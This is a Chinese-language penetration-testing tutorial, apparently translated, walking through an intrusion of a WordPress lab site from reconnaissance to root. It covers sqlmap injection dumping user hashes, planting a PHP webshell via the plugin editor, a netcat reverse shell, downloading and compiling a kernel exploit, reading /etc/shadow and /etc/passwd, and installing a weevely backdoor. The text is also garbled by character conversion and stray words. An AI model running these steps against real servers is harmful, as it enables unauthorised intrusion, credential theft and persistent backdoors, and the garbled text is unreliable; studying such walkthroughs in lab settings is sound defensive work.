从信息收集到入侵提权(渗透测试基础总结)

经过本文你将了解黑客经常使用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到如下内容:php

1.渗透测试前的简单信息收集。html

2.sqlmap的使用mysql

3.nmap的使用linux

4.nc反弹提权web

5.linux系统的权限提高sql

6.backtrack 5中渗透测试工具nikto和w3af的使用等.shell

假设黑客要入侵的你的网站域名为:hack-test.com数据库

让咱们用ping命令获取网站服务器的IP地址.apache

Web信息安全

如今咱们获取了网站服务器的IP地址为:173.236.138.113安全

寻找同一服务器上的其它网站,咱们使用sameip.org.

渗透测试

26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

173.236.138.113上有26个网站,不少黑客为了攻破你的网站可能会检查同服务器上的其它网站,可是本次是以研究为目标,咱们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

We’ll need more information about your site, such as:

咱们须要关于你网站的如下信息:

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

让咱们开始找你网站的DNS记录,咱们用who.is来完成这一目标.

入侵检测

咱们发现你的DNS记录以下

web安全

让咱们来肯定web服务器的类型

渗透测试

发现你的W eb服务器是apache,接下来肯定它的版本.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank:  1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit:  1 Month: 2.0 3 Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

渗透测试

咱们如今已经获取了你的网站域名的注册信息,包括你的重要信息等.咱们能够经过backtrack 5中的whatweb来获取你的网站服务器操做系统类型和服务器的版本.

backtrack 5

backtrack 5

咱们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

nmap查看开放端口
2-Find server OS(查看操做系统版本)

nmap查看系统类型
只有80端口是开放的,操做系统是Linux2.6.22(Fedora Core 6),如今咱们已经收集了全部关于你网站的重要信息, 接下来开始扫描寻找漏洞,好比:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

咱们将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com

渗透测试工具backtrack 5
咱们也会用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af# ./w3af_gui

渗透测试工具w3af

咱们输入要检测的网站地址,选择完整的安全审计选项.

渗透测试全过程

稍等一会,你将会看到扫描结果.

web入侵检测

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让咱们来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

咱们经过工具发现这个URL存在SQL注入,咱们经过Sqlmap来检测这个url.

Using sqlmap with –u url

sqlmap使用教程

过一会你会看到

sqlmap使用教程

输入N按回车键继续

sqlmap使用教程

咱们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 咱们经过加入参数”-dbs”来尝试采集数据库名.

 sqlmap使用教程

sqlmap读取数据库名

发现三个数据库,接下来经过参数”-D wordpress -tables”来查看wordpress数据库的全部表名

sqlmap读取数据库中的表

sqlmap读取数据库中的表

经过参数“-T wp_users –columns ”来查看wp_users表中的字段.

 sqlmap使用教程

sqlmap使用教程

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”

咱们会发现用户名和密码hashes值. 咱们须要经过如下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

hash在线破解

登录wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何能够编辑的插件. 咱们选择Textile这款插件,编辑插入咱们的php webshell,点击更新文件,而后访问咱们的php webshell.
 

上传漏洞得到webshell

上传漏洞得到webshell

Php webshell被解析了,咱们能够控制你网站的文件,可是咱们只但愿得到网站服务器的root权限,来入侵服务器上其它的网站。

咱们用NC来反弹一个shell,首先在咱们的电脑上监听5555端口.

NC反弹

而后在Php webshell上反向链接咱们的电脑,输入你的IP和端口5555.
 

NC反弹

点击链接咱们会看到
 

NC反弹

 

接下来咱们尝试执行一些命令:

id
 
uid=48(apache) gid=489(apache) groups=489(apache)
 (用来显示用户的id和组)

pwd
 
/var/www/html/Hackademic_RTB1/wp-content/plugins
 (显示服务器上当前的路径)

uname -a
 
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)

Linux基础命令

如今咱们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,咱们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了不少exp以后,咱们用如下的exp来提高权限.
http://www.exploit-db.com/exploits/15285
 
咱们在nc shell上执行如下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:不少linux内核的exp都是C语言开发的,所以咱们保存为.c扩展名.
exp roro.c代码以下:
 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

 
经过以上代码咱们发现该exp是C语言开发的,咱们须要将他编译成elf格式的,命令以下:
 
gcc roro.c –o roro
 
接下来执行编译好的exp
 
./roro

 

exp编译

 
执行完成以后咱们输入id命令
 
id
 
咱们发现咱们已是root权限了
 
uid=0(root) gid=0(root)

Linux服务器提权

 
如今咱们能够查看/etc/shadow文件
cat /etc/shadow
 

linux基础命令

 
查看/etc/passwd 文件

cat /etc/passwd
 

linux基础命令

 
咱们可使用”john the ripper”工具破解全部用户的密码.可是咱们不会这样作,咱们须要在这个服务器上留下后门以方便咱们在任什么时候候访问它.

咱们用weevely制做一个php小立刻传到服务器上.

1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py -
 
weevely使用方法

2.用weevely建立一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

weevely使用方法

接下来上传到服务器以后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

weevely使用方法

 
测试咱们的hax.php后门

weevely使用方法

总结:

在这边文章中咱们学到的一些技术正被黑客用来入侵你的网站和服务器,咱们但愿能经过这篇文章可以对你将来维护服务器和网站安全有所帮助.

相关文章
相关标签/搜索